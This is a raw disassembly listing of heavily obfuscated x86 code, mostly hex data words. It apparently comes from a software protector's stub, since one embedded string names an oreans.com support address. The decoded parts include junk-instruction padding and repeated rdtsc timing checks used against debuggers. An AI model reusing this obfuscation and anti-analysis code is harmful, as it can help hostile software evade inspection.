dd 25670444h, 97DE7F13h, 23AE4C14h, 106445h, 0EE2A0000h
dd 16C91AD4h, 0A4C1F42Eh, 0CEC6h, 176F0600h, 1AF6B866h
dd 88F816C9h, 5DB91B4Eh, 0EB8EF023h, 3232383Dh, 97D6461Ch
dd 8D670A6Ch, 27F11F52h, 623C5D8Ah, 0CAF823h, 133E7D63h
dd 0A6D110F6h, 57936D78h, 9330FA28h, 0EF92025Ah, 0DC7CA541h
dd 0FA39A919h, 0FC6F5180h, 53B561E7h, 56F95B25h, 0F5123D7Ch
dd 0CC9999C8h, 0E20DBAE8h, 0F5205F45h, 0ED9BBCC7h, 16CCDCA9h
dd 8ED07E35h, 1016CCDCh, 629B389Ah, 49F79A0Ah, 1C30A034h
dd 3261047Ah, 4831B32h, 0DC09A694h, 7895C802h, 0F4255892h
dd 698E51A1h, 0DFAB6AEh, 70000008h, 6EC0930h, 987E9BCAh
dd 290F2C5Bh, 0B89EBBEEh, 2E324F7Ah, 95C0FEB4h, 2A519278h
dd 0BDE8270Dh, 4D80BAA0h, 0D4826330h, 13257692h, 7BE5C31Ch
dd 29D8C44Ch, 5FBB7FDDh, 0FBC5F322h, 0CA3E785Eh, 0C9A35A1Ch
dd 0DD320B16h, 8744A91h, 0A3DE3AB0h, 16784270h, 0B7EA24E8h
dd 3B3A9989h, 0DFFC2F69h, 0CF655000h, 296A4440h, 3D446502h
dd 0A000000h, 6CAD176Fh, 0CFE1745h, 0ACA53DAFh, 0CAF1173h
dd 32741D5Eh, 39744E1Ch, 9C05506h, 0FB481137h, 0D8067C5Eh
dd 20950240h, 0A1D47513h, 2658460Ah, 37744E45h, 2E4A6B08h
dd 10000000h, 4A7176Fh, 31F94156h, 2957CD1Ch, 55F82B65h
dd 74113C7Bh, 7AADE7CDh, 6DDD354Ch, 131B1CCAh, 0FED819DBh
dd 9C6694BFh, 8AA71DFFh, 123D845Ch, 1A0343F1h, 158B16C9h
dd 77E73F78h, 1CC126D4h, 970D1C32h, 6125D3F4h, 14132014h
dd 3B922623h, 0B81D955h, 0B81FB56Eh, 0AB535283h, 9240E353h
dd 0D9AE5F0Dh, 566D9B11h, 3DEB8EFEh, 0DC449B36h, 0B9F6D0F1h
dd 62925C8Ah, 0D356A91Ch, 0AD8F2CA2h, 80BA9437h, 83E51853h
dd 13468066h, 0D7EE3DE2h, 0D6928AA9h, 6C8h, 0A7C4EB2Bh
dd 395685C1h, 0CAE71653h, 5976A9E4h, 0ED0A3573h, 83C1F9E9h
dd 14553B58h, 0ABEAD0EDh, 437D6380h, 4526F310h, 2577D797h
dd 0A07ED713h, 3DCD4C7Bh, 0C0E11C20h, 8F033D23h, 0C95C9DE1h
dd 70B12116h, 0EF511B49h, 7A545F8Dh, 19E3113Ch, 2A59967Ch
dd 0BD7CD40Dh, 5D464387h
dd 0F699FBA6h, 3585DE48h, 47EA601Ch, 0A3E72A18h, 0DA779995h
dd 0F2215E22h, 8B4E02C1h, 0C17D7569h, 648h, 27446BABh
dd 0B9D60541h, 4A6796D3h, 0D9F62964h, 6D8AB5F3h, 3417969h
dd 94D5BBD8h, 2B6A506Dh, 0C3FDE300h, 0C5A67390h, 25745717h
dd 20FE5713h, 0EAAC5A7Bh, 0F416C91Ah, 50A8E17Eh, 26633DE0h
dd 3092C1FDh, 22B86693h, 0E91C3564h, 7A4D30Fh, 0FB4D6025h
dd 0CB19D1C0h, 3A773B69h, 90033DBCh, 7CDE233Eh, 8AAC9A4Bh
dd 4501F969h, 5D8h, 0B7D4FB3Bh, 496695D1h, 0DAF72663h
dd 6986B9F4h, 0FD1A4583h, 93D1E9F9h, 24654B68h, 0BBFAE0FDh
dd 538D7390h, 55360320h, 2574E7A7h, 0B08EE713h, 4A7176Fh
dd 0EBFEE2Ah, 0DE48F8E1h, 0B4E17EC3h, 35399006h, 0EF2E9E1Ch
dd 6ACC96C4h, 80B3EDC7h, 2A672BE3h, 993FCAFBh, 9890698Bh
dd 577DCh, 739ADA00h, 5347056h, 96C502E8h, 25589379h, 0B9E42208h
dd 704A989Ch, 4EA0732h, 997F9CC3h, 2C122F5Ah, 0D5A2BFF2h
dd 740046F4h, 358E1325h, 5588C257h, 0F6296327h, 6C8B2453h
dd 906CC01Ah, 122D3BF3h, 33D0F738h, 0F32D77FEh, 83BDA3C0h
dd 0B98A2250h, 0AA16C9B0h, 246A1839h, 0AA16C9B0h, 6F9AD834h
dd 0CCD89DD2h, 9425F92h, 900647B1h, 7BF416Eh, 85B3151Ch
dd 8B659BBh, 1C35B88Eh, 9D771A90h, 2D133063h, 7B92C0F3h
dd 82C47223h, 0C132593h, 0E3913496h, 19D9ECBCh, 532DD046h
dd 0F9959719h, 0D0AAACE8h, 316B516Eh, 3799C804h, 2A9AF209h
dd 1958D987h, 0A9831C32h, 430D3B6Eh, 0D3FFC4A6h, 0D26B7A83h
dd 96C4F32Fh, 0D30E6ACCh, 700D3EA0h, 0DF698E7Eh, 49A2BE7h
dd 0BDFD0000h, 57937996h, 0E8250B28h, 7BB69CB9h, 7452B48h
dd 27BBBFDCh, 5224D8Bh, 9AB7DE1Fh, 2D4A75B4h, 0BDDA0D47h
dd 1D610FF0h, 0A1132575h, 88C26A48h, 29632755h, 48A0D9F6h
dd 48769DDEh, 0CB791C7Eh, 1C322342h, 3F66A781h, 0C8AA4711h
dd 0E08EAF52h, 13200C9Eh, 550DAA20h, 3B7B294Ah, 0C313200Ch
dd 87E91453h, 0C7036E4h, 87E1320h, 0C91B16Bh, 45E61320h
dd 0C5D57B30h, 4BCB4526h, 91000000h, 0E0134C7Bh, 0AFDD0847h
dd 518534E5h, 59B1EA87h, 8B9846E9h, 0FB1C32B2h, 83BF5785h
dd 0FF132090h, 0A06492C5h, 36073564h, 8DC8DC99h, 0F091F85Ah
dd 5D7A2685h, 0D764526h, 3D000001h, 0C8F62963h, 2D2A9EAFh
dd 55B702C1h, 88C28AB8h, 421C2755h, 0A5E99703h, 2916C91Ah
dd 0CEB451B3h, 2C376590h, 4AE71652h, 0C9F72A64h, 84C39DBEh
dd 1A652959h, 0F36916C9h, 1C3BCD42h, 8A5EBF7h, 98B5E822h
dd 0C9585BDEh, 0A8659416h, 0CD057F85h, 0DA14FA97h, 5BD504A7h
dd 0BEA6B27Eh, 0E2377725h, 41B716C9h, 0B59B42DFh, 31A487Bh
dd 0BE983BABh, 0E275580h, 35083CA1h, 0D875D790h, 6FB08AABh
dd 0B3501A48h, 32805CF9h, 0F832A21Ch, 2B7E97C5h, 8986222Ah
dd 0FFA20466h, 4F0FBDDEh, 4F1320DDh, 0DDE5A9D9h, 73E91320h
dd 9EF62FD6h, 9ECCF334h, 21CF72D4h, 19C65636h, 9ED10C7Ch
dd 0A144A670h, 415E89C7h, 0C1F21D5Bh, 6F75232Ah, 9E9A59Dh
dd 6C000003h, 2E8052Ch, 947A97C6h, 250B2857h, 0B49AB7EAh
dd 2A2E4B76h, 99C402B8h, 2E55967Ch, 0C1EC2B11h, 5184BEA4h
dd 0D8866734h, 13256B96h, 0C2E1BF18h, 563C5984h, 9ECCE91Ch
dd 4A7176Fh, 32294D56h, 1543B91Ch, 7B3BE90Ah, 8313200Bh
dd 8CB6700Dh, 0F613200Bh, 0D49A48BCh, 0DA13200Bh, 10D40264h
dd 0B175A3D6h, 501A4873h, 1A84F140h, 0FA6312B3h, 1BB8DF20h
dd 26C6943Ch, 0CF8C45h, 0C2520000h, 1C275588h, 0BB8F6CEDh
dd 5DFA7718h, 0E00E3977h, 0C9D4C548h, 0DC0F4916h, 729FD9BFh
dd 0CD60437h, 50717CAAh, 0C9DFDCA2h, 0BB6CE216h, 9075A9D6h
dd 2059F62Ah, 7B558C8h, 1C32F6AEh, 305D7AF0h, 0FC1D610Fh
dd 2BA11320h, 8DFD558Eh, 0E58FBBEAh, 0B00CE83Eh, 3E38E613h
dd 4019C609h, 0F4D27CAh, 266741E4h, 0D5BB62FFh, 523B6C97h
dd 216F7568h, 2126D29h, 35750000h, 0CF0BF10Eh, 609D83A0h
dd 0F32E1431h, 7FBDA3C0h, 0AF333754h, 7D9AC503h, 122F5697h
dd 0A5C2ED2Ch, 355285BFh, 95D98768h, 19132568h, 84C2E2C0h
dd 0E00F3C59h, 8BC97299h, 0B7683260h, 0BB69C2E0h, 16C954FBh
dd 0CF2B8D03h, 0E2C86590h, 0F8D275A8h, 4BF28FBAh, 5588C21Dh
dd 739CD8B2h, 78A60837h, 955911AEh, 0D20B285Bh, 0A4D3107Ah
dd 0A74AAC76h, 321CB0F9h, 97D6461Ch, 0D1253E6Ch, 0EF0E6891h
dd 7CAA0C6Eh, 2032DEE4h, 6DE32413h, 0EC74C7D5h, 204EB039h
dd 1AF1F5Ch, 1320E9BDh, 3B69CB41h, 0E93C8230h, 4CC21320h
dd 6F2F46E3h, 9D0E6708h, 452620F3h, 48EDh, 176FB300h, 295604A7h
dd 751C3200h, 0F497CA05h, 20300046h, 0B6188E13h, 0D0FB3913h
dd 833BD8A2h, 2030D7EBh, 0AD872013h, 0AAE54170h, 0D0A5DA77h
dd 26FD35DBh, 2B2B45h, 0C3F20000h, 0EF2D6705h, 1BCC96C4h
dd 9A37C265h, 1AD5EE6Ch, 0C5E616C9h, 0C91A5717h, 44E15716h
dd 0A043B30Bh, 31F77DF2h, 6E8B011Ch, 0AD176F40h, 47113F72h
dd 2B9442E5h, 731C3219h, 0B37CFFDh, 6C13201Bh, 4204B2D3h
dd 4C13201Bh, 710439D6h, 0A6D512ECh, 0D2662A09h, 2F7A4526h
dd 40000000h, 0C91AD4EEh, 0D00DE716h, 0CA973A1h, 680B7BD3h
dd 31F725BAh, 0C504DE1Ch, 641BFD9Ah, 2038F0B6h, 0E588FE13h
dd 20387737h, 9F017713h, 0A17B5482h, 0D3023F60h, 4B79DBA5h
dd 53ABE481h, 7C9240E3h, 0C21C3565h, 205A1E4Ch, 0B0EAD0EDh
dd 0B7194483h, 66A47E89h, 0A6430D3Bh, 7A3A70ECh, 92B7F62Fh
dd 2EF82655h, 9FDA9ECCh, 15397D2Bh, 4FC52768h, 51EEBFEDh
dd 0CB8B3924h, 0D3276815h, 3255FB5Dh, 0F4276143h, 0D387751h
dd 0A9E3C970h, 49844876h, 5D997316h, 9936002Eh, 0EF86FDE1h
dd 2B487BB5h, 0A2DE0B45h, 197B4573h, 11BFE0EBh, 2768154Dh
dd 457FDB51h, 7D1AE412h, 39Fh, 33A1DF00h, 2D5B82C2h, 0CEFC2F69h
dd 72A0CB0Ah, 18466DAEh, 0BDEB1654h, 6290BBF9h, 230639Eh
dd 0A4D2013Eh, 4775A4E0h, 5E545686h, 4C681h, 0EE830000h
dd 24348704h, 7DEE685Ch, 14890000h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ecx
mov edx, 71BC412Eh
push edi
mov edi, 19E5142Bh
and edx, edi
pop edi
sub edx, 0BB7A95Bh
push 58CAh
mov [esp], esp
add dword ptr [esp], 4
pop ecx
sub esp, 4
mov [esp], esi
mov esi, edx
mov [ecx+8], esi
pop esi
mov ecx, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_5461C3
; ---------------------------------------------------------------------------
db 0D1h, 9Ah, 9Eh
dd 25F5DFAFh, 84B8C573h, 305EC74h, 9E0FFC5h, 0A240C3D7h
dd 93513716h, 85547F4Ch, 0E6034197h, 0EC34664Eh, 155B7EC7h
dd 8E0F7968h, 4E4EE7D6h, 5A26DB6Dh, 0CD3A7D39h, 937B82CAh
dd 9E04ED13h, 0E61A578Ch, 0E83CE7B5h, 11h, 0A394FEE4h
dd 0AC0BDE99h, 0AC536221h, 5C0D3FA9h, 665EF9E2h, 0C681CF8Bh
dd 7082h, 108478BBh, 1BE5682Dh, 0FE80000h, 59000000h, 59783F6Eh
dd 3B37CCFCh, 818D6BFAh, 810F6DCFh, 0Ch, 6E8h, 0C93C3600h
dd 589032D3h, 55BB5A59h, 8B72AC55h, 9840F3Eh, 60000000h
dd 880FFCh, 61000000h, 7216F781h, 8A0F321Fh, 2, 0C781C28Bh
dd 49F002B9h, 6E9h, 0B8519100h, 81099FC2h, 0BB9B5FEFh
dd 89E18A4Ch, 0DA5ABB3Eh, 0EE831E78h, 14E904h, 573E0000h
dd 81B1E5A1h, 3BDE090Bh, 0F65FF8B3h, 1F813DD8h, 0F4A06E1h
dd 1485h, 38E900h, 0F22E0000h, 0CFB581B3h, 0BC876E51h
dd 0C1FC3C1Bh, 10E9D0h, 3B9C0000h, 0C0D46CA9h, 3D65FCC0h
dd 995766CCh, 70E9A71Ah, 0CDFFFFFFh, 0D4B823F3h, 0B706692Ch
dd 0F1A20792h, 0E98AA9h, 4, 33000000h, 69206E41h, 7265746Eh
dd 206C616Eh, 65637865h, 6F697470h, 636F206Eh, 65727563h
dd 41282064h, 65726464h, 203A7373h, 78257830h, 500D0A29h
dd 7361656Ch, 63202C65h, 61746E6Fh, 73207463h, 6F707075h
dd 6F407472h, 6E616572h, 6F632E73h, 54202E6Dh, 6B6E6168h
dd 756F7920h, 21h, 0E3h dup(0)
dd 56000000h, 45000000h, 0
dd 0E9000000h, 1338h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 17h, 55C35040h, 0F93FEDBAh, 21D5858Bh, 6A05E9h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
dd 0A09DDAC3h, 60030007h, 39BD89F8h, 6105E917h, 0FE9h
dd 0EF7D5700h, 1B1CDCDDh, 0A522B05Ch, 4D4106Ch, 4244439h
dd 65850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 140424h, 52420000h, 0BD092EC3h, 5E93179h, 0E09BD83h
dd 0F0005E9h, 3684h, 1BD3100h, 8D05E91Fh, 0E939CF85h, 0E0FFF805h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 6CC35545h
dd 0FCC0C0D4h, 0B5B58965h, 8B05E904h, 0E9003985h, 53006A05h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
dd 0C9E15873h, 0A440FA8Eh, 6E9FBh, 0BD860000h, 6EC90121h
dd 4244439h, 62850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 170424h, 55450000h, 0DEF25BC3h, 853160AEh
dd 5E91739h, 61FE8B66h, 18F0Fh, 0C7FC0000h, 0EC7A4685h
dd 105h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1904h, 0C3514100h, 0BEE2659Bh, 8D898193h, 5E90DB9h
dd 10E960h, 0DDFD0000h, 0BD9CA592h, 4E2349CFh, 4FB50155h
dd 24E96AA3h, 6A000000h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 17042444h, 41000000h, 2FCFC351h, 0F8C349h
dd 0B8000000h, 1, 7BFE8587h, 0C00B05ECh, 0B5FFF675h, 5E90EE5h
dd 7A3E858Fh, 206A05ECh, 95FFFF6Ah, 5E92675h, 2695BD83h
dd 740005E9h, 0FF006A08h, 0E91E9595h, 95BD8305h, 105E930h
dd 80680D74h, 6A000000h, 7595FFFFh, 6A05E926h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
dd 0E4FCC353h, 347D5A5Eh, 9E9F8FCh, 0AF000000h, 9911BB35h
dd 74129B8Ch, 0D8E0Fh, 8E90000h, 7000000h, 0AE7CB40Dh
dd 2B063BA3h, 548BF5C0h, 6A2824h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 150424h, 57470000h, 0FC42E7C3h, 18B0Fh, 89FC0000h
dd 0E9310585h, 53006A05h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1804h, 0C3534300h, 4DCA0B6Ch, 33BA60D2h
dd 953ECBBh, 0E902BD95h, 3CBE6105h, 6A000000h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
dd 1159C350h, 0BB52E8AFh, 6850Fh, 0BD090000h, 5E90C99h
dd 24247403h, 2B319589h, 0AD6605E9h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Dh, 8C35747h, 2B001F9Ah, 0CC5DF68Ah
dd 24440306h, 81666024h, 8BFBD1D2h, 0E907B585h, 8B606105h
dd 0E9112595h, 45BD8B05h, 6105E918h, 8E950h, 77350000h
dd 0E0E00893h, 4892708h, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1904h, 0C3564600h, 4DAAD48Eh, 896088B2h
dd 0E92741B5h, 8B665705h, 0F6159CBh, 682h, 0CD958900h
dd 8B05E90Dh, 6A7840h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1A0424h, 57470000h, 0DA5B6BC3h, 1AFAE887h, 83F8FCF8h
dd 0EC7A46BDh, 850F0005h, 191h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Dh, 19C35747h, 0D4437422h, 0EAA99109h
dd 0F50F527h, 1F83h, 19880F00h, 0E9000000h, 14h, 0D27F99A2h
dd 0A9B5B3E6h, 86D2DF96h, 0DF3B7A58h, 92AEDDA1h, 6A240489h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h
dd 47000000h, 0F4DC357h, 0A83h, 5E900h, 282E0000h, 0E9CDD0A1h
dd 0Bh, 0A1C07BADh, 0F786DB78h, 8B92F0FBh, 6A2C2444h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
dd 0FA5C355h, 0AAABFA7Bh, 0F9024FAh, 1284h, 0F525000h
dd 81h, 50310F00h, 5A310F52h, 50585A58h, 56605250h, 8E85Fh
dd 0A6130000h, 6E14BD4Bh, 6158340Ch, 840F310Fh, 0Dh, 8E9h
dd 1DEB0C00h, 0B651E7B6h, 90585AC3h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 18h, 36C35242h, 0E0778C35h, 0C850Fh
dd 880F0000h, 6, 0FF99589h, 10E905E9h, 0E4000000h, 73BE425Fh
dd 0E48D7414h, 1A3D5389h, 8DA50503h, 0EC484785h, 50006A05h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
dd 0FA9C6CD1h, 6AD0FFF9h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 15042444h, 40000000h, 79FDC350h, 0F0816660h
dd 0B58B8822h, 5E907D5h, 24440361h, 408BF528h, 51006A18h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
dd 6806803Bh, 0B46D18A0h, 8589A29Ch, 5E924D5h, 55BD3140h
dd 8905E90Bh, 0EC7A4285h, 108B0F05h, 0E9000000h, 0Bh, 430B93E8h
dd 0C9FDEF9Dh, 58949252h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Dh, 54C35242h, 0C663337h, 0D0A030ACh, 890F6032h
dd 6, 25558D89h, 0E96105E9h, 0Ch, 0FDF98DF3h, 0BFEE7B63h
dd 8880236h, 6A78708Bh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 15042444h, 42000000h, 6D24C352h, 891CC683h
dd 0E9076D8Dh, 80609605h, 6EBA43D2h, 61157EB8h, 24247C81h
dd 10000000h, 114870Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 160424h, 56460000h, 3974D0C3h, 606090F8h
dd 0C88BDE8Bh, 58505761h, 5050615Eh, 2880F52h, 60000000h
dd 0E9310F61h, 0Fh, 0AD59BB3Dh, 0CCA54284h, 1E53946Eh
dd 5AB21610h, 33609058h, 0E9129DB5h, 0F9BD8B05h, 6105E900h
dd 2824448Bh, 19219D29h, 505005E9h, 9E952h, 341A0000h
dd 1328E0C0h, 0F244735h, 5E536031h, 5A61F88Bh, 24048958h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 8BC35747h
dd 0C35B52C8h, 7A4BCE2h, 18F0F14h, 0F5000000h, 858DF8F9h
dd 5EC4847h, 0DE9h, 8BEAA500h, 38E55E09h, 6EEA86C4h, 0D0FFEC0Ah
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 82C35747h
dd 0C78155CEh, 7D4815FEh, 8870Fh, 0F600000h, 0BF0FC7B7h
dd 0F6061F7h, 68Ch, 35952B00h, 105E923h, 0E930998Dh, 6A966105h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h
dd 42000000h, 60FFC352h, 5F3DB452h, 10659D8Bh, 36105E9h
dd 6A242474h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1D042444h, 42000000h, 51B1C352h, 37165F58h, 1BFBC055h
dd 298D8960h, 0F05E932h, 8D61D2BFh, 0E91E61BDh, 53006A05h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
dd 0B86509D0h, 0CE94536h, 0DA000000h, 7436998Bh, 0E44F20B7h
dd 0F9F14443h, 0F98D89ADh, 8105E906h, 24247Ch, 0F100000h
dd 13C87h, 6830F00h, 89000000h, 0E92D2185h, 52509005h
dd 52505250h, 585A310Fh, 8C0F310Fh, 0
dd 310F585Ah, 5E960h, 0ABCE0000h, 0BFB7EB3Eh, 372375A9h
dd 50585A61h, 8A0F5250h, 2, 310F6160h, 810F60h, 0E9000000h
dd 13h, 1954B584h, 6875CBBFh, 0AFBE4649h, 9E73687Fh, 61F1A4C6h
dd 0E990585Ah, 0Dh, 49DEA71Ch, 3DDC8C2Ch, 554D1FFDh, 24448B0Eh
dd 52006A28h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h
dd 0C3524200h, 0B5A3D097h, 10E919h, 0DB910000h, 734AE749h
dd 4ECA9260h, 268152DEh, 858916ABh, 5E90479h, 8E990h, 85E00000h
dd 7B027D5h, 6050E890h, 8B665250h, 0B9310FDEh, 5424EE31h
dd 9061585Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 14h, 0C3C35747h, 0C8D0Fh, 800F0000h, 6, 810Fh, 858D0000h
dd 5EC4847h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 14h, 40C35242h, 0C810Fh, 8F0F0000h, 6, 17B99D89h, 0D0FF05E9h
dd 244403F8h, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1504h, 0C3564600h, 9D8984A3h, 5E92645h, 158D2960h, 8905E90Dh
dd 0E91CC19Dh, 0F9AB6105h, 0FA81h, 820F0001h, 7D0h, 99BD8DF9h
dd 0E905E919h, 11h, 9BF943C7h, 0BE0C1889h, 0C3958815h
dd 64D7BDF4h, 8E9D9h, 20320000h, 61E8F430h, 6AAD0B2Fh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h
dd 43000000h, 0C843C353h, 94280B7Ah, 0D9B589A5h, 6005E903h
dd 1E05BD8Bh, 0B70F05E9h, 7C8161CAh, 2424h, 870F1000h
dd 182h, 9E9h, 0D0B3B300h, 669B002Fh, 0F903E64h, 1883h
dd 13E900h, 645D0000h, 6A9A85AFh, 0DC81CBBh, 8A7F013Fh
dd 7B110D12h, 60605054h, 0CBD447BEh, 0AE84Fh, 10310000h
dd 12F24723h, 5C5FDE05h, 9E9615Fh, 0A9000000h, 0AFABC5A7h
dd 0B2B82162h, 6A9061h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1C0424h, 55450000h, 8B9A8CC3h, 0EE6F0FD9h, 160482Bh
dd 0E906BDB5h, 68E0F05h, 0F000000h, 8Dh, 14E96100h, 0C1000000h
dd 452290E1h, 72B2DFB6h, 861F7020h, 0FB18AE43h, 8B3AC373h
dd 89282444h, 0E904DD8Dh, 52509005h, 6850Fh, 8D0F0000h
dd 0
dd 5250310Fh, 13E9h, 76FCDB00h, 304CD9h, 0DDA731D2h, 6EC1F284h
dd 92FF0277h, 5250310Fh, 585A310Fh, 585A585Ah, 52506050h
dd 0FDA8B66h, 0F18B6631h, 5660585Ah, 0F525058h, 61585A31h
dd 8DF89061h, 0EC484785h, 55006A05h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 0BB337A20h
dd 0FFC4627h, 1B8Ah, 15810F00h, 0E9000000h, 10h, 6621085Ah
dd 943B7952h, 0C67742EEh, 0EF143C73h, 6AD0FFh, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
dd 8B60BFC3h, 0E91299BDh, 0D38B6605h, 8E961h, 67E40000h
dd 0B215088Eh, 4403B020h, 89602424h, 0E930459Dh, 6DB58B05h
dd 6105E923h, 0E9525090h, 0Eh, 32FC3777h, 2D276873h, 1BEE5FE0h
dd 310F51D6h, 860F5250h, 0
dd 7E9310Fh, 0A0000000h, 0B1D03522h, 585A4F06h, 6050585Ah
dd 6E9h, 0D4A5DA00h, 500E941Bh, 0F5E5352h, 13E831h, 53130000h
dd 8B0E26Fh, 10966097h, 1F6BFCDEh, 0A7004B2Bh, 585A58A2h
dd 6A9061h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
dd 51410000h, 0E59F4EC3h, 0F9B7CAFh, 68Ch, 9D858900h, 0AB05E92Ah
dd 1DCD8D09h, 0BD8D05E9h, 5E91669h, 13E9h, 306CC500h, 0D39078E0h
dd 63EB2AEBh, 0D9E148C9h, 3B3AC915h, 52006AADh, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 12A4F46h, 0E921DD95h
dd 247C8105h, 28h, 0C9870F10h, 0F000000h, 685h, 8D8D0900h
dd 5005E91Eh, 880F5250h, 2, 310F6160h, 7E9h, 0F03F3600h
dd 0A1895216h, 489585Ah, 19D3124h, 8B05E909h, 0F2C2444h
dd 183h, 0E990F900h, 0Fh, 4E014CF8h, 0E27EE82Bh, 1CFFAC69h
dd 504A0BECh, 0E8E0Fh, 52500000h, 310F6160h, 310F5250h
dd 585A585Ah, 52006A90h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1C04h, 0C3524200h, 0B63C7537h, 0D9CD1800h, 0ADB58929h
dd 3105E906h, 0E9102DBDh, 858DF905h, 5EC4847h, 88A0Fh
dd 840F0000h, 2, 60606160h, 7E9h, 45CB6F00h, 0F5637705h
dd 799D8961h, 6105E926h, 9529D0FFh, 5E91749h, 28244403h
dd 1CC1BD29h, 29AB05E9h, 0E921D9BDh, 8DFF5E05h, 5EC7A42h
dd 7A42BD83h, 750005ECh, 8DC0330Ah, 0EC8AD8B5h, 56E6FF05h
dd 247C81ADh, 28h, 500E7710h, 2C24448Bh, 47858D50h, 0FF05EC48h
dd 244403D0h, 0DF8B9728h, 7A3E858Ah, 0C08405ECh, 73A0474h
dd 32574C75h, 0FD75AEC0h, 52FB2B5Eh, 49C933FCh, 0C033D18Bh
dd 32ACDB33h, 8ACD8AC1h, 0B6D68AEAh, 0EBD16608h, 73D8D166h
dd 41356609h, 0F3816650h, 0CEFE5449h, 0C833EB75h, 754FD333h
dd 0F7D2F7D5h, 0C1C28BD1h, 8B6610C0h, 0D03B5AC1h, 835E0F74h
dd 85FF04C6h, 5E93105h, 0FFFF5DE9h, 95295EFFh, 5E91DFDh
dd 8BF56060h, 0E9033195h, 0BF0F6105h, 858B61C7h, 5E93105h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 3CC35545h
dd 0A98509B0h, 0F05E903h, 680h, 81B58900h, 0D105E925h
dd 0EA8060E0h, 0ED1CBED6h, 3612FCAh, 0E9166985h, 0BEF905h
dd 0F8000000h, 7820F96h, 0F000000h, 187h, 0AD66F800h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 75C35646h, 0FE67330h
dd 684h, 79B50100h, 0C105E90Fh, 6A02E0h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0E0B10C3h
dd 42CE39F6h, 60102D17h, 75F9C681h, 0F2816655h, 23DACFF3h
dd 61850361h, 6A05E91Eh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 19042444h, 45000000h, 1A55C355h, 8F768AABh
dd 8E9h, 79B14D00h, 0A8E50E98h, 0EE996F0h, 5000000h, 4FCDDE03h
dd 0AA95E9ABh, 0C78C25A4h, 6AADF583h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 79EC353h
dd 81FFAF3Eh, 24247Ch, 0F100000h, 15887h, 6800F00h, 89000000h
dd 0E90B019Dh, 830F9005h, 12h, 52505250h, 585A310Fh, 8D0F310Fh
dd 0
dd 0E950585Ah, 14h, 8B17B017h, 419464A4h, 0CB95C06Fh, 0ECF67B0Bh
dd 38971045h, 0D860F90h, 0E9000000h, 8, 36E62F86h, 23BBEFEBh
dd 2824448Bh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 18h, 58C35141h, 750DCE4Ah, 13E9h, 0DC27E100h, 0A5B2584Eh
dd 55E297Ch, 7E3C7D92h, 0E41B04EEh, 128B0F90h, 50000000h
dd 840F52h, 0F000000h, 0F525031h, 5A585A31h, 0E9605058h
dd 11h, 1DDD234h, 39C0A36Dh, 0BB053120h, 34D295C1h, 0BE818h
dd 36FF0000h, 0A3BB6F42h, 615DDDB6h, 0DE98Ah, 0FCAC0000h
dd 0DA7B2FD1h, 0D7D37CA7h, 5ECA6EAAh, 6A9061h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
